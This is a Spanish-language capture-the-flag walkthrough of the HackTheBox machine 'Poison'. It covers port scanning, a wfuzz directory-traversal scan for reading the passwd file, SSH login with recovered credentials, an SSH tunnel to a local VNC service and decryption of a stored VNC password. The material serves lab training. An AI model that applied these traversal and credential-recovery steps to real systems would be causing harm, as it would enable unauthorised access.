Poison - HackTheBox

elc4br4elc4br4
4 min read

En esta ocasión estaré resolviendo una máquina de nivel Medium de HackTheBox en la que tendremos que explotar la vulnerabilidad Directory Path Transversal y a través de procesos en ejecución encontraremos el servicio VNC y tendremos que crear un túnel ssh para acceder al mismo.

HTBadge


Reconocimiento

Reconocimiento de Puertos📌

Comenzamos como siempre lanzando nmap para descubrir puertos abiertos en la máquina víctima.

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Tenemos el puerto 22 (ssh) y el puertto 80 (http)

Escaneo un poco más a fondo para encontrar más información al respecto.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Explotación

Al acceder desde el navegador para revisar el servidor web vemos lo siguiente:

Si añadimos en el campo el parámetro listfiles.php

Podemos ver que hay un archivo llamado pwdbackup.txt

En el hay una contraseña encodeada en base64 13 veces.

Tras decodear la cadena base64 13 veces encontramos la contraseña.

Charix!2#4%6&8(0

Tenemos una contraseña pero aún nos falta un usuario, así que al ver que en el servidor web tenemos muchos archivos .php procedo a comprobar si podría existir alguna vulnerabilidad LFI o Directory Transversal.

A través de un diccionario y la herramienta wfuzz compruebo si existe alguna de estas vulnerabilidades.

wfuzz -c -w /usr/share/payloadsallthethings/"Directory Traversal"/Intruder/dotdotpwn.txt -u 'http://10.10.10.84/browse.php?file=FUZZ' --hl=4,2

Todas esas rutas podríamos usar para leer el archivo passwd.

Tenemos el usuario Charix y su contraseña.

Charix:Charix!2#4%6&8(0

Ahora intento iniciar sesión con esas credenciales a través de ssh para obtener acceso al sistema.

Una vez inicio sesión puedo leer la flag user.txt.


Escalada de Privilegios

VNC👽

Ahora toca escalar privilegios para leer la flag root.txt

En el directorio de usuario de Charix tenemos un archivo llamado secret.zip
Nos lo descargamos a nuestra máquina atacante.

❯ scp charix@10.10.10.84:/home/charix/secret.zip .
Password for charix@Poison:
secret.zip

Y lo descomprimimos usando la contraseña que usamos para conectarnos por ssh.

Tenemos caracteres no legibles, lo que me hace pensar que estoy yendo por el camino equivocado.

Dejo a un lado el archivo y enumero más vectores de escalada.

Miro los procesos existentes en ejecución con el comando ps aux

root   529   0.0  0.9  23620  8872 v0- I    22:34    0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -d
charix@Poison:~ % netstat -an
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address          Foreign Address        (state)
tcp4       0      0 10.10.10.84.22         10.10.14.3.54562       ESTABLISHED
tcp4       0      0 127.0.0.1.25           *.*                    LISTEN
tcp4       0      0 *.80                   *.*                    LISTEN
tcp6       0      0 *.80                   *.*                    LISTEN
tcp4       0      0 *.22                   *.*                    LISTEN
tcp6       0      0 *.22                   *.*                    LISTEN
tcp4       0      0 127.0.0.1.5801         *.*                    LISTEN
tcp4       0      0 127.0.0.1.5901         *.*                    LISTEN
udp4       0      0 *.514                  *.*                    
udp6       0      0 *.514                  *.*                    
Active UNIX domain sockets

Tenemos el servicio VNC activo en el puerto 5901, así que para poder conectarme he de crear un túnel a través de ssh.

Para crear el túnel:

ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84

Una vez creado ya puedo conectarme al servicio VNC a través de la herramienta vncviewer.

Podéis descargar la herramienta VNCViewer desde aquí

Lo descargo e intento conectarme pero me pide una contraseña, pruebo con la del usuario Charix pero no funciona.

Pruebo introduciendo los datos del archivo secret que unzipeamos pero nada, así que se me ocurre probar con secret (el nombre del archivo).

Pero tampoco hay suerte... así que intento decodificar el contenido del archivo secret.

Encuentro esta herramienta ...

Y la consigo decodificar...

❯ python2 vncpasswd.py -d -f /home/elc4br4/secret
Decrypted Bin Pass= 'VNCP@$$!'
Decrypted Hex Pass= '564e435040242421'

Y me conecto a través de vncviewer.

vncviewer 127.0.0.1:5901 -passwd VNCP@$$!

0
Subscribe to my newsletter

Read articles from elc4br4 directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

elc4br4
elc4br4

Cybersecurity Student